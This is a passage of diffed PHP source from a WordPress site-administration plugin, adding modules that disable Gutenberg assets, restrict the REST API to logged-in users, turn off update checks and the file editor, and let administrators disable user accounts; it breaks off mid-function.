|
||||
remove_filter( 'registered_post_type', 'gutenberg_register_post_prepare_functions' );
|
||||
remove_action( 'do_meta_boxes', 'gutenberg_meta_box_save' );
|
||||
remove_action( 'submitpost_box', 'gutenberg_intercept_meta_box_render' );
|
||||
remove_action( 'submitpage_box', 'gutenberg_intercept_meta_box_render' );
|
||||
remove_action( 'edit_page_form', 'gutenberg_intercept_meta_box_render' );
|
||||
remove_action( 'edit_form_advanced', 'gutenberg_intercept_meta_box_render' );
|
||||
remove_filter( 'redirect_post_location', 'gutenberg_meta_box_save_redirect' );
|
||||
remove_filter( 'filter_gutenberg_meta_boxes', 'gutenberg_filter_meta_boxes' );
|
||||
remove_filter( 'body_class', 'gutenberg_add_responsive_body_class' );
|
||||
remove_filter( 'admin_url', 'gutenberg_modify_add_new_button_url' );
|
||||
// old
|
||||
remove_action( 'admin_enqueue_scripts', 'gutenberg_check_if_classic_needs_warning_about_blocks' );
|
||||
remove_filter( 'register_post_type_args', 'gutenberg_filter_post_type_labels' );
|
||||
}
|
||||
|
||||
/**
|
||||
* Disable Gutenberg styles and scripts on the front end for all or some post types
|
||||
*
|
||||
* @since 2.8.0
|
||||
*/
|
||||
public function disable_gutenberg_for_post_types_frontend() {
|
||||
global $post;
|
||||
if ( is_numeric( $post ) ) {
|
||||
$post = get_post( (int) $post );
|
||||
}
|
||||
if ( !is_object( $post ) || !property_exists( $post, 'post_type' ) ) {
|
||||
return;
|
||||
}
|
||||
$post_type = $post->post_type;
|
||||
// Assemble single-dimensional array of post types for which Gutenberg should be disabled
|
||||
$options = get_option( ASENHA_SLUG_U );
|
||||
$disable_gutenberg_type = 'only-on';
|
||||
$disable_gutenberg_for = $options['disable_gutenberg_for'];
|
||||
$post_types_for_disable_gutenberg = array();
|
||||
foreach ( $disable_gutenberg_for as $post_type_slug => $is_gutenberg_disabled ) {
|
||||
if ( $is_gutenberg_disabled ) {
|
||||
$post_types_for_disable_gutenberg[] = $post_type_slug;
|
||||
}
|
||||
}
|
||||
// Selectively disable for the selected post types
|
||||
if ( 'only-on' == $disable_gutenberg_type && in_array( $post_type, $post_types_for_disable_gutenberg ) || 'except-on' == $disable_gutenberg_type && !in_array( $post_type, $post_types_for_disable_gutenberg ) || 'all-post-types' == $disable_gutenberg_type ) {
|
||||
global $wp_styles;
|
||||
// As needed, exclude some block styles from dequeuing
|
||||
$keep_enqueued = array();
|
||||
// e.g. array( 'wp-block-navigation' );
|
||||
foreach ( $wp_styles->queue as $handle ) {
|
||||
// For all stye handles that starts with 'wp-block', e.g. 'wp-block-library', 'wp-block-library-theme'
|
||||
if ( false !== strpos( $handle, 'wp-block' ) ) {
|
||||
if ( !in_array( $handle, $keep_enqueued ) ) {
|
||||
wp_dequeue_style( $handle );
|
||||
wp_deregister_style( $handle );
|
||||
}
|
||||
}
|
||||
}
|
||||
// Additional dequeuing
|
||||
wp_dequeue_style( 'core-block-supports' );
|
||||
wp_deregister_style( 'core-block-supports' );
|
||||
wp_dequeue_style( 'global-styles' );
|
||||
// theme.json
|
||||
wp_deregister_style( 'global-styles' );
|
||||
// theme.json
|
||||
wp_dequeue_style( 'classic-theme-styles' );
|
||||
// classic theme
|
||||
wp_deregister_style( 'classic-theme-styles' );
|
||||
// classic theme
|
||||
wp_dequeue_style( 'wp-block-library' );
|
||||
wp_deregister_style( 'wp-block-library' );
|
||||
}
|
||||
// wp_deregister_style( 'wp-block-library' );
|
||||
}
|
||||
|
||||
/**
|
||||
* Temporary fix for Safari 18 negative horizontal margin on floats.
|
||||
* [TODO] Remove when Safari 18 implements a fix on their end.
|
||||
*
|
||||
* @link https://wordpress.org/support/topic/safari-18-0-breaking-classic-editor/
|
||||
* @link https://plugins.trac.wordpress.org/changeset/3158976/classic-editor/trunk/classic-editor.php
|
||||
*/
|
||||
public function safari_18_fix() {
|
||||
global $current_screen;
|
||||
if ( isset( $current_screen->base ) && 'post' === $current_screen->base ) {
|
||||
$clear = ( is_rtl() ? 'right' : 'left' );
|
||||
?>
|
||||
<style id="classic-editor-safari-18-temp-fix">
|
||||
_::-webkit-full-page-media, _:future, :root #post-body #postbox-container-2 {
|
||||
clear: <?php
|
||||
echo $clear;
|
||||
?>;
|
||||
}
|
||||
</style>
|
||||
<?php
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,78 @@
|
||||
<?php
|
||||
|
||||
namespace ASENHA\Classes;
|
||||
|
||||
use WP_Error;
|
||||
/**
|
||||
* Class for Disable REST API module
|
||||
*
|
||||
* @since 6.9.5
|
||||
*/
|
||||
class Disable_REST_API {
|
||||
/**
|
||||
* REST API access gate (runs after core authentication handlers).
|
||||
*
|
||||
* Role checks use the logged-in auth cookie when core has cleared the current user
|
||||
* for requests without an X-WP-Nonce (see rest_cookie_check_errors at priority 100).
|
||||
*
|
||||
* @since 2.9.0
|
||||
*
|
||||
* @param WP_Error|null|true $errors Prior filter value from rest_authentication_errors.
|
||||
* @return WP_Error|null|true
|
||||
*/
|
||||
public function disable_rest_api( $errors ) {
|
||||
// Respect prior filter callbacks — e.g. core incorrect_password or rest_cookie_invalid_nonce.
|
||||
if ( is_wp_error( $errors ) ) {
|
||||
return $errors;
|
||||
}
|
||||
$allow_rest_api_access = false;
|
||||
// Get the REST API route being requested,e.g. wp/v2/posts | altcha/v1/challenge (without preceding slash /)
|
||||
// Ref: https://developer.wordpress.org/reference/hooks/rest_authentication_errors/#comment-6463
|
||||
$route = ltrim( $GLOBALS['wp']->query_vars['rest_route'], '/' );
|
||||
$route = rtrim( $route, '/' );
|
||||
if ( empty( $route ) ) {
|
||||
// This is when visiting /wp-json root
|
||||
$allow_rest_api_access = false;
|
||||
} elseif ( false !== strpos( $route, 'altcha/v1' ) || false !== strpos( $route, 'two-factor/1.0' ) || in_array( 'contact-form-7/wp-contact-form-7.php', get_option( 'active_plugins', array() ) ) && false !== strpos( $route, 'contact-form-7/' ) || in_array( 'the-events-calendar/the-events-calendar.php', get_option( 'active_plugins', array() ) ) && false !== strpos( $route, 'tribe/' ) ) {
|
||||
$allow_rest_api_access = true;
|
||||
} else {
|
||||
}
|
||||
$user = $this->get_user_for_rest_access_check();
|
||||
if ( $user->exists() ) {
|
||||
$allow_rest_api_access = true;
|
||||
}
|
||||
if ( !$allow_rest_api_access ) {
|
||||
return new WP_Error('rest_api_authentication_required', __( 'The REST API has been restricted to authenticated users.', 'admin-site-enhancements' ), array(
|
||||
'status' => rest_authorization_required_code(),
|
||||
));
|
||||
}
|
||||
// Allow path: pass through unchanged so core's `true` is preserved.
|
||||
return $errors;
|
||||
}
|
||||
|
||||
/**
|
||||
* User to evaluate for REST role allowlist.
|
||||
*
|
||||
* rest_cookie_check_errors (priority 100) may clear the current user when no REST nonce
|
||||
* is sent, so fall back to the logged-in auth cookie for role checks at priority 200.
|
||||
*
|
||||
* @since 8.8.2
|
||||
*
|
||||
* @return \WP_User
|
||||
*/
|
||||
private function get_user_for_rest_access_check() {
|
||||
$user = wp_get_current_user();
|
||||
if ( $user->exists() ) {
|
||||
return $user;
|
||||
}
|
||||
$user_id = wp_validate_auth_cookie( '', 'logged_in' );
|
||||
if ( $user_id ) {
|
||||
$user = get_userdata( $user_id );
|
||||
if ( $user instanceof \WP_User ) {
|
||||
return $user;
|
||||
}
|
||||
}
|
||||
return new \WP_User(0);
|
||||
}
|
||||
|
||||
}
|
||||
+243
@@ -0,0 +1,243 @@
|
||||
<?php
|
||||
|
||||
namespace ASENHA\Classes;
|
||||
|
||||
/**
|
||||
* Class for Disable Smaller Components module
|
||||
*
|
||||
* @since 6.9.5
|
||||
*/
|
||||
class Disable_Smaller_Components {
|
||||
|
||||
/**
|
||||
* Remove version number from URLs of static resources (CSS, JS)
|
||||
*
|
||||
* @since 5.8.0
|
||||
*/
|
||||
public function remove_resource_version_number( $src ) {
|
||||
if ( ! is_user_logged_in() ) {
|
||||
// https://wordpress.org/support/topic/disable-smaller-components-version-can-be-hidden/
|
||||
if ( strpos( $src, 'ver=' ) ) {
|
||||
$src = remove_query_arg( 'ver', $src );
|
||||
}
|
||||
}
|
||||
return $src;
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove generator tag from RSS feed
|
||||
*
|
||||
* @since 7.3.3
|
||||
*/
|
||||
public function remove_feed_generator_tag( $generator_type, $type ) {
|
||||
// e.g. <generator>https://wordpress.org/?v=6.6.1</generator>
|
||||
if ( false !== strpos( $generator_type, '<generator>https://wordpress.org/?v=' ) ) {
|
||||
return '';
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Disable loading of frontend public assets of dashicons
|
||||
*
|
||||
* @since 4.5.0
|
||||
*/
|
||||
public function disable_dashicons_public_assets() {
|
||||
global $pagenow;
|
||||
if ( ! is_user_logged_in() ) {
|
||||
|
||||
// This will get /path/file.php?param=val portion of the full URL
|
||||
$current_request_uri = sanitize_text_field( $_SERVER['REQUEST_URI'] );
|
||||
|
||||
if ( empty( $current_request_uri ) ) {
|
||||
// On the homepage
|
||||
wp_dequeue_style( 'dashicons' );
|
||||
wp_deregister_style( 'dashicons' );
|
||||
} else {
|
||||
// Exclude the login page, where dashicon assets are requred to properly style the page
|
||||
if ( false !== strpos( $current_request_uri, 'wp-login.php' ) || 'wp-login.php' === $pagenow ) {
|
||||
// On wp-login.php, so, do nothing
|
||||
}
|
||||
// Exclude password protection form
|
||||
elseif ( false !== strpos( $current_request_uri, 'protected-page=view' ) ) {
|
||||
// On protected-page=view, so, do nothing
|
||||
}
|
||||
else {
|
||||
// NOT on wp-login.php, e.g. www.example.com/an-article/, so, dequeue dashicons
|
||||
wp_dequeue_style( 'dashicons' );
|
||||
wp_deregister_style( 'dashicons' );
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Disable emoji support
|
||||
*
|
||||
* @since 4.5.0
|
||||
*/
|
||||
public function disable_emoji_support() {
|
||||
|
||||
remove_action( 'wp_head', 'print_emoji_detection_script', 7 );
|
||||
remove_action( 'embed_head', 'print_emoji_detection_script' );
|
||||
remove_action( 'wp_print_styles', 'print_emoji_styles' );
|
||||
remove_filter( 'the_content_feed', 'wp_staticize_emoji' );
|
||||
remove_filter( 'comment_text_rss', 'wp_staticize_emoji' );
|
||||
remove_filter( 'wp_mail', 'wp_staticize_emoji_for_email' );
|
||||
add_action( 'admin_init', [ $this, 'disable_admin_emojis' ] );
|
||||
add_filter( 'emoji_svg_url', '__return_false' );
|
||||
add_filter( 'tiny_mce_plugins', [ $this, 'disable_emoji_for_tinymce' ] );
|
||||
add_filter( 'wp_resource_hints', [ $this, 'disable_emoji_remove_dns_prefetch' ], 10, 2 );
|
||||
add_filter( 'option_use_smilies', '__return_false' );
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Disable jQuery Migrate
|
||||
*
|
||||
* @since 5.8.0
|
||||
* @link https://plugins.trac.wordpress.org/browser/remove-jquery-migrate/trunk/remove-jquery-migrate.php
|
||||
* @param WP_Scripts $scripts WP_Scripts object.
|
||||
*/
|
||||
public function disable_jquery_migrate( $scripts ) {
|
||||
if ( ! is_admin() && isset( $scripts->registered['jquery'] ) ) {
|
||||
$script = $scripts->registered['jquery'];
|
||||
|
||||
if ( ! empty( $script->deps ) ) { // Check whether the script has any dependencies
|
||||
$script->deps = array_diff( $script->deps, array( 'jquery-migrate' ) );
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove the tinymce emoji plugin
|
||||
*
|
||||
* @since 4.5.0
|
||||
*/
|
||||
public function disable_emoji_for_tinymce( $plugins ) {
|
||||
|
||||
if ( is_array( $plugins ) ) {
|
||||
return array_diff( $plugins, array( 'wpemoji' ) );
|
||||
}
|
||||
|
||||
return array();
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove emoji CDN hostname from DNS prefetching hints.
|
||||
*
|
||||
* @since 4.5.0
|
||||
*/
|
||||
public function disable_emoji_remove_dns_prefetch( $urls, $relation_type ) {
|
||||
|
||||
if ( 'dns-prefetch' == $relation_type ) {
|
||||
|
||||
// Strip out any URLs referencing the WordPress.org emoji location
|
||||
$emoji_svg_url_base = 'https://s.w.org/images/core/emoji/';
|
||||
foreach ( $urls as $key => $url ) {
|
||||
if ( is_string( $url ) && false !== strpos( $url, $emoji_svg_url_base ) ) {
|
||||
unset( $urls[$key] );
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
return $urls;
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Disable emojis in wp-admin
|
||||
*
|
||||
* @since 4.7.2
|
||||
*/
|
||||
public function disable_admin_emojis() {
|
||||
remove_action( 'admin_print_scripts', 'print_emoji_detection_script' );
|
||||
remove_action( 'admin_print_styles', 'print_emoji_styles' );
|
||||
}
|
||||
|
||||
/**
|
||||
* Add loading="eager" attribute for featured images
|
||||
*
|
||||
* @link https://plugins.trac.wordpress.org/browser/disable-lazy-loading/tags/2.1/disable-lazy-loading.php
|
||||
* @since 7.3.0
|
||||
*/
|
||||
public function eager_load_featured_images( $attr, $attachment = null ) {
|
||||
$attr['loading'] = 'eager';
|
||||
return $attr;
|
||||
}
|
||||
|
||||
/**
|
||||
* Disable plugin and theme editor
|
||||
*
|
||||
* @since 7.4.5
|
||||
*/
|
||||
public function disable_plugin_theme_editor() {
|
||||
if ( wp_doing_ajax() || wp_doing_cron() ) {
|
||||
return;
|
||||
}
|
||||
|
||||
if ( ! current_user_can( 'manage_options' ) ) {
|
||||
return;
|
||||
}
|
||||
|
||||
$wp_config = new WP_Config_Transformer;
|
||||
|
||||
if ( ! defined( 'DISALLOW_FILE_EDIT' ) ) {
|
||||
define( 'DISALLOW_FILE_EDIT', true );
|
||||
} else {
|
||||
$is_wpconfig_writeable = $wp_config->wpconfig_file( 'writeability' );
|
||||
|
||||
if ( $is_wpconfig_writeable ) {
|
||||
$disallow_file_edit = $wp_config->get_value( 'constant', 'DISALLOW_FILE_EDIT' );
|
||||
|
||||
if ( 'false' == $disallow_file_edit ) {
|
||||
$wp_config_options = array(
|
||||
'add' => true, // Add the config if missing.
|
||||
'raw' => true, // Display value in raw format without quotes.
|
||||
'normalize' => false, // Normalize config output using WP Coding Standards.
|
||||
);
|
||||
|
||||
$update_success = $wp_config->update( 'constant', 'DISALLOW_FILE_EDIT', 'true', $wp_config_options );
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Enable plugin and theme editor
|
||||
*
|
||||
* @since 7.4.5
|
||||
*/
|
||||
public function enable_plugin_theme_editor() {
|
||||
if ( wp_doing_ajax() || wp_doing_cron() ) {
|
||||
return;
|
||||
}
|
||||
|
||||
if ( ! current_user_can( 'manage_options' ) ) {
|
||||
return;
|
||||
}
|
||||
|
||||
$wp_config = new WP_Config_Transformer;
|
||||
|
||||
if ( ! defined( 'DISALLOW_FILE_EDIT' ) ) {
|
||||
define( 'DISALLOW_FILE_EDIT', false );
|
||||
} else {
|
||||
$is_wpconfig_writeable = $wp_config->wpconfig_file( 'writeability' );
|
||||
|
||||
if ( $is_wpconfig_writeable ) {
|
||||
$disallow_file_edit = $wp_config->get_value( 'constant', 'DISALLOW_FILE_EDIT' );
|
||||
|
||||
if ( 'true' == $disallow_file_edit ) {
|
||||
$wp_config_options = array(
|
||||
'add' => true, // Add the config if missing.
|
||||
'raw' => true, // Display value in raw format without quotes.
|
||||
'normalize' => false, // Normalize config output using WP Coding Standards.
|
||||
);
|
||||
|
||||
$update_success = $wp_config->update( 'constant', 'DISALLOW_FILE_EDIT', 'false', $wp_config_options );
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,103 @@
|
||||
<?php
|
||||
|
||||
namespace ASENHA\Classes;
|
||||
|
||||
/**
|
||||
* Class for Disable Updates module
|
||||
*
|
||||
* @since 6.9.5
|
||||
*/
|
||||
class Disable_Updates {
|
||||
|
||||
/**
|
||||
* Disable updates and related functionalities
|
||||
*
|
||||
* @since 4.0.0
|
||||
*/
|
||||
public function disable_update_notices_version_checks() {
|
||||
|
||||
// Remove nags
|
||||
remove_action( 'admin_notices', 'update_nag', 3 );
|
||||
remove_action( 'admin_notices', 'maintenance_nag' );
|
||||
|
||||
// Disable WP version check
|
||||
remove_action( 'wp_version_check', 'wp_version_check' );
|
||||
remove_action( 'admin_init', 'wp_version_check' );
|
||||
wp_clear_scheduled_hook( 'wp_version_check' );
|
||||
|
||||
add_filter( 'pre_option_update_core', '__return_null' );
|
||||
|
||||
// Disable theme version checks
|
||||
remove_action( 'wp_update_themes', 'wp_update_themes' );
|
||||
remove_action( 'admin_init', '_maybe_update_themes' );
|
||||
wp_clear_scheduled_hook( 'wp_update_themes' );
|
||||
|
||||
remove_action( 'load-themes.php', 'wp_update_themes' );
|
||||
remove_action( 'load-update.php', 'wp_update_themes' );
|
||||
remove_action( 'load-update-core.php', 'wp_update_themes' );
|
||||
|
||||
// Disable plugin version checks
|
||||
remove_action( 'wp_update_plugins', 'wp_update_plugins' );
|
||||
remove_action( 'admin_init', '_maybe_update_plugins' );
|
||||
wp_clear_scheduled_hook( 'wp_update_plugins' );
|
||||
|
||||
remove_action( 'load-plugins.php', 'wp_update_plugins' );
|
||||
remove_action( 'load-update.php', 'wp_update_plugins' );
|
||||
remove_action( 'load-update-core.php', 'wp_update_plugins' );
|
||||
|
||||
// Disable auto updates
|
||||
wp_clear_scheduled_hook( 'wp_maybe_auto_update' );
|
||||
|
||||
remove_action( 'wp_maybe_auto_update', 'wp_maybe_auto_update' );
|
||||
remove_action( 'admin_init', 'wp_maybe_auto_update' );
|
||||
remove_action( 'admin_init', 'wp_auto_update_core' );
|
||||
|
||||
// Disable Site Health checks
|
||||
add_filter( 'site_status_tests', [ $this, 'disable_update_checks_in_site_health' ] );
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Override version check info stored in transients named update_core, update_plugins, update_themes.
|
||||
*
|
||||
* @since 4.0.0
|
||||
*/
|
||||
public function override_version_check_info() {
|
||||
|
||||
include( ABSPATH . WPINC . '/version.php' ); // get $wp_version from here
|
||||
|
||||
$current = (object)array(); // create empty object
|
||||
$current->updates = array();
|
||||
$current->response = array();
|
||||
$current->version_checked = $wp_version;
|
||||
$current->last_checked = time();
|
||||
|
||||
return $current;
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Disable Background Updates and Auto-Updates tests in Site Health tests
|
||||
*
|
||||
* @since 4.0.0
|
||||
*/
|
||||
public function disable_update_checks_in_site_health( $tests ) {
|
||||
|
||||
unset( $tests['async']['background_updates'] );
|
||||
unset( $tests['direct']['plugin_theme_auto_updates'] );
|
||||
|
||||
return $tests;
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove Dashboard >> Updates menu item
|
||||
*
|
||||
* @since 4.0.0
|
||||
*/
|
||||
public function remove_updates_menu() {
|
||||
global $submenu;
|
||||
remove_submenu_page( 'index.php', 'update-core.php' );
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,457 @@
|
||||
<?php
|
||||
|
||||
namespace ASENHA\Classes;
|
||||
|
||||
/**
|
||||
* Disable User Account module: block login, list-table UI, profile field.
|
||||
*
|
||||
* @since 8.7.4
|
||||
*/
|
||||
class Disable_User_Account {
|
||||
|
||||
/**
|
||||
* User meta flag when login is disabled.
|
||||
*
|
||||
* @var string
|
||||
*/
|
||||
const META_KEY = 'asenha_user_account_disabled';
|
||||
|
||||
/**
|
||||
* WP_Error code when login is blocked for a disabled account (shared with Change Login URL redirect).
|
||||
*
|
||||
* @since 8.7.4
|
||||
*
|
||||
* @var string
|
||||
*/
|
||||
public const ERROR_CODE = 'asenha_account_disabled';
|
||||
|
||||
/**
|
||||
* Set during authenticate when blocking a disabled user; consumed by Change Login URL on wp_login_failed.
|
||||
*
|
||||
* @since 8.7.5
|
||||
*
|
||||
* @var int|null
|
||||
*/
|
||||
private static $pending_disabled_login_redirect_user_id = null;
|
||||
|
||||
/**
|
||||
* Register WordPress hooks for this module.
|
||||
*
|
||||
* @since 8.7.4
|
||||
*/
|
||||
public function register_hooks() {
|
||||
add_filter( 'authenticate', array( $this, 'block_disabled_user_login' ), 30, 3 );
|
||||
add_action( 'init', array( $this, 'maybe_force_logout_disabled_user' ), 1 );
|
||||
add_filter( 'wp_is_application_passwords_available_for_user', array( $this, 'filter_application_passwords_for_user' ), 10, 2 );
|
||||
add_filter( 'manage_users_columns', array( $this, 'add_status_column' ), PHP_INT_MAX - 10 );
|
||||
add_filter( 'manage_users_custom_column', array( $this, 'render_status_column' ), 10, 3 );
|
||||
add_filter( 'user_row_actions', array( $this, 'add_user_row_actions' ), 10, 2 );
|
||||
add_action( 'wp_ajax_asenha_user_account_toggle_disabled', array( $this, 'ajax_toggle_disabled' ) );
|
||||
add_action( 'admin_print_styles-users.php', array( $this, 'print_users_list_column_style' ) );
|
||||
add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_profile_scripts' ) );
|
||||
add_action( 'personal_options_update', array( $this, 'save_profile_checkbox' ) );
|
||||
add_action( 'edit_user_profile_update', array( $this, 'save_profile_checkbox' ) );
|
||||
}
|
||||
|
||||
/**
|
||||
* Whether the user is marked as login-disabled.
|
||||
*
|
||||
* @since 8.7.4
|
||||
*
|
||||
* @param int $user_id User ID.
|
||||
* @return bool
|
||||
*/
|
||||
public function is_user_disabled( $user_id ) {
|
||||
$user_id = (int) $user_id;
|
||||
if ( $user_id <= 0 ) {
|
||||
return false;
|
||||
}
|
||||
$flag = get_user_meta( $user_id, self::META_KEY, true );
|
||||
|
||||
return ( '1' === $flag || true === $flag || 1 === $flag || 'true' === $flag );
|
||||
}
|
||||
|
||||
/**
|
||||
* Whether the current user may enable/disable login for the target user via UI or AJAX.
|
||||
*
|
||||
* @since 8.7.4
|
||||
*
|
||||
* @param int $target_user_id User ID being toggled.
|
||||
* @return bool
|
||||
*/
|
||||
public function current_user_may_toggle_user( $target_user_id ) {
|
||||
$target_user_id = (int) $target_user_id;
|
||||
if ( $target_user_id <= 0 ) {
|
||||
return false;
|
||||
}
|
||||
if ( get_current_user_id() === $target_user_id ) {
|
||||
return false;
|
||||
}
|
||||
if ( ! current_user_can( 'edit_user', $target_user_id ) ) {
|
||||
return false;
|
||||
}
|
||||
if ( is_multisite() && is_super_admin( $target_user_id ) ) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* Return and clear the pending disabled-login redirect user ID (same request as authenticate).
|
||||
*
|
||||
* @since 8.7.5
|
||||
*
|
||||
* @return int|null User ID if login was blocked for a disabled account; otherwise null.
|
||||
*/
|
||||
public static function consume_pending_disabled_login_redirect_user_id() {
|
||||
$id = self::$pending_disabled_login_redirect_user_id;
|
||||
self::$pending_disabled_login_redirect_user_id = null;
|
||||
if ( null === $id || (int) $id <= 0 ) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return (int) $id;
|
||||
}
|
||||
|
||||
/**
|
||||
* Block login for disabled accounts (after username/password checks yield a user).
|
||||
*
|
||||
* @since 8.7.4
|
||||
*
|
||||
* @param \WP_User|\WP_Error|null $user User, error, or null.
|
||||
* @param string $password Password (unused).
|
||||
* @param string $username Username (unused).
|
||||
* @return \WP_User|\WP_Error|null
|
||||
*/
|
||||
public function block_disabled_user_login( $user, $password, $username ) {
|
||||
if ( null === $user || is_wp_error( $user ) || ! ( $user instanceof \WP_User ) ) {
|
||||
return $user;
|
||||
}
|
||||
if ( $this->is_user_disabled( $user->ID ) ) {
|
||||
self::$pending_disabled_login_redirect_user_id = (int) $user->ID;
|
||||
|
||||
return new \WP_Error(
|
||||
self::ERROR_CODE,
|
||||
__( 'ERROR: Your account has been disabled.', 'admin-site-enhancements' )
|
||||
);
|
||||
}
|
||||
|
||||
return $user;
|
||||
}
|
||||
|
||||
/**
|
||||
* Log out immediately if the logged-in account is disabled (stale cookie/session).
|
||||
*
|
||||
* @since 8.7.4
|
||||
*/
|
||||
public function maybe_force_logout_disabled_user() {
|
||||
if ( ! is_user_logged_in() ) {
|
||||
return;
|
||||
}
|
||||
$user_id = get_current_user_id();
|
||||
if ( ! $this->is_user_disabled( $user_id ) ) {
|
||||
return;
|
||||
}
|
||||
|
||||
wp_logout();
|
||||
wp_safe_redirect( wp_login_url() );
|
||||
exit;
|
||||
}
|
||||
|
||||
/**
|
||||
* Hide Application Passwords for disabled users.
|
||||
*
|
||||
* @since 8.7.4
|
||||
*
|
||||
* @param bool $available Whether App Passwords are available for the user.
|
||||
* @param mixed $user \WP_User|int|null.
|
||||
* @return bool
|
||||
*/
|
||||
public function filter_application_passwords_for_user( $available, $user ) {
|
||||
$user_id = 0;
|
||||
if ( $user instanceof \WP_User ) {
|
||||
$user_id = (int) $user->ID;
|
||||
} elseif ( is_numeric( $user ) ) {
|
||||
$user_id = (int) $user;
|
||||
}
|
||||
if ( $user_id > 0 && $this->is_user_disabled( $user_id ) ) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return $available;
|
||||
}
|
||||
|
||||
/**
|
||||
* Append Status column (last).
|
||||
*
|
||||
* @since 8.7.4
|
||||
*
|
||||
* @param string[] $columns Column headers.
|
||||
* @return string[]
|
||||
*/
|
||||
public function add_status_column( $columns ) {
|
||||
$columns['asenha_user_account_status'] = __( 'Status', 'admin-site-enhancements' );
|
||||
|
||||
return $columns;
|
||||
}
|
||||
|
||||
/**
|
||||
* Output Status cell content.
|
||||
*
|
||||
* @since 8.7.4
|
||||
*
|
||||
* @param string $output Output.
|
||||
* @param string $column_name Column key.
|
||||
* @param int $user_id User ID.
|
||||
* @return string
|
||||
*/
|
||||
public function render_status_column( $output, $column_name, $user_id ) {
|
||||
if ( 'asenha_user_account_status' !== $column_name ) {
|
||||
return $output;
|
||||
}
|
||||
if ( $this->is_user_disabled( $user_id ) ) {
|
||||
return esc_html__( 'Disabled', 'admin-site-enhancements' );
|
||||
}
|
||||
|
||||
return '';
|
||||
}
|
||||
|
||||
/**
|
||||
* Row actions: Disable / Enable.
|
||||
*
|
||||
* @since 8.7.4
|
||||
*
|
||||
* @param string[] $actions Row actions.
|
||||
* @param \WP_User $user User object.
|
||||
* @return string[]
|
||||
*/
|
||||
public function add_user_row_actions( $actions, $user ) {
|
||||
if ( ! $user instanceof \WP_User ) {
|
||||
return $actions;
|
||||
}
|
||||
if ( ! current_user_can( 'list_users' ) ) {
|
||||
return $actions;
|
||||
}
|
||||
if ( ! $this->current_user_may_toggle_user( $user->ID ) ) {
|
||||
return $actions;
|
||||
}
|
||||
|
||||
$disabled = $this->is_user_disabled( $user->ID );
|
||||
if ( $disabled ) {
|
||||
/* translators: verb: enable user login */
|
||||
$label = __( 'Enable', 'admin-site-enhancements' );
|
||||
$set_disabled = 0;
|
||||
} else {
|
||||
/* translators: verb: disable user login */
|
||||
$label = __( 'Disable', 'admin-site-enhancements' );
|
||||
$set_disabled = 1;
|
||||
}
|
||||
|
||||
$actions['asenha_disable_user_account'] = sprintf(
|
||||
'<a href="#" class="asenha-user-account-toggle" role="button" data-user-id="%d" data-set-disabled="%d">%s</a>',
|
||||
(int) $user->ID,
|
||||
(int) $set_disabled,
|
||||
esc_html( $label )
|
||||
);
|
||||
|
||||
return $actions;
|
||||
}
|
||||
|
||||
/**
|
||||
* AJAX: set or clear disabled meta for a user.
|
||||
*
|
||||
* @since 8.7.4
|
||||
*/
|
||||
public function ajax_toggle_disabled() {
|
||||
check_ajax_referer( 'asenha_user_account_toggle', 'nonce' );
|
||||
|
||||
if ( ! current_user_can( 'list_users' ) ) {
|
||||
wp_send_json_error( array( 'message' => __( 'Sorry, you are not allowed to do this.', 'admin-site-enhancements' ) ), 403 );
|
||||
}
|
||||
|
||||
$user_id = isset( $_POST['user_id'] ) ? absint( $_POST['user_id'] ) : 0;
|
||||
$set_disabled = isset( $_POST['set_disabled'] ) ? (bool) filter_var( wp_unslash( $_POST['set_disabled'] ), FILTER_VALIDATE_BOOLEAN ) : false;
|
||||
|
||||
if ( $user_id <= 0 || ! $this->current_user_may_toggle_user( $user_id ) ) {
|
||||
wp_send_json_error( array( 'message' => __( 'Sorry, you are not allowed to modify this user.', 'admin-site-enhancements' ) ), 403 );
|
||||
}
|
||||
|
||||
if ( $set_disabled ) {
|
||||
update_user_meta( $user_id, self::META_KEY, '1' );
|
||||
} else {
|
||||
delete_user_meta( $user_id, self::META_KEY );
|
||||
}
|
||||
|
||||
$is_disabled = $this->is_user_disabled( $user_id );
|
||||
|
||||
if ( $is_disabled ) {
|
||||
$action_label = __( 'Enable', 'admin-site-enhancements' );
|
||||
} else {
|
||||
$action_label = __( 'Disable', 'admin-site-enhancements' );
|
||||
}
|
||||
|
||||
wp_send_json_success(
|
||||
array(
|
||||
'is_disabled' => $is_disabled,
|
||||
'status_html' => $is_disabled ? esc_html__( 'Disabled', 'admin-site-enhancements' ) : '',
|
||||
'action_label' => $action_label,
|
||||
'next_set_disabled' => $is_disabled ? 0 : 1,
|
||||
)
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Styles for Users list Status column.
|
||||
*
|
||||
* @since 8.7.4
|
||||
*/
|
||||
public function print_users_list_column_style() {
|
||||
?>
|
||||
<style>.column-asenha_user_account_status { width: 100px; }</style>
|
||||
<?php
|
||||
}
|
||||
|
||||
/**
|
||||
* Enqueue profile script to inject Account Management row (core has no hook after Password Reset).
|
||||
*
|
||||
* @since 8.7.4
|
||||
*
|
||||
* @param string $hook_suffix Current admin page.
|
||||
*/
|
||||
public function enqueue_profile_scripts( $hook_suffix ) {
|
||||
if ( ! in_array( $hook_suffix, array( 'user-edit.php', 'profile.php' ), true ) ) {
|
||||
return;
|
||||
}
|
||||
|
||||
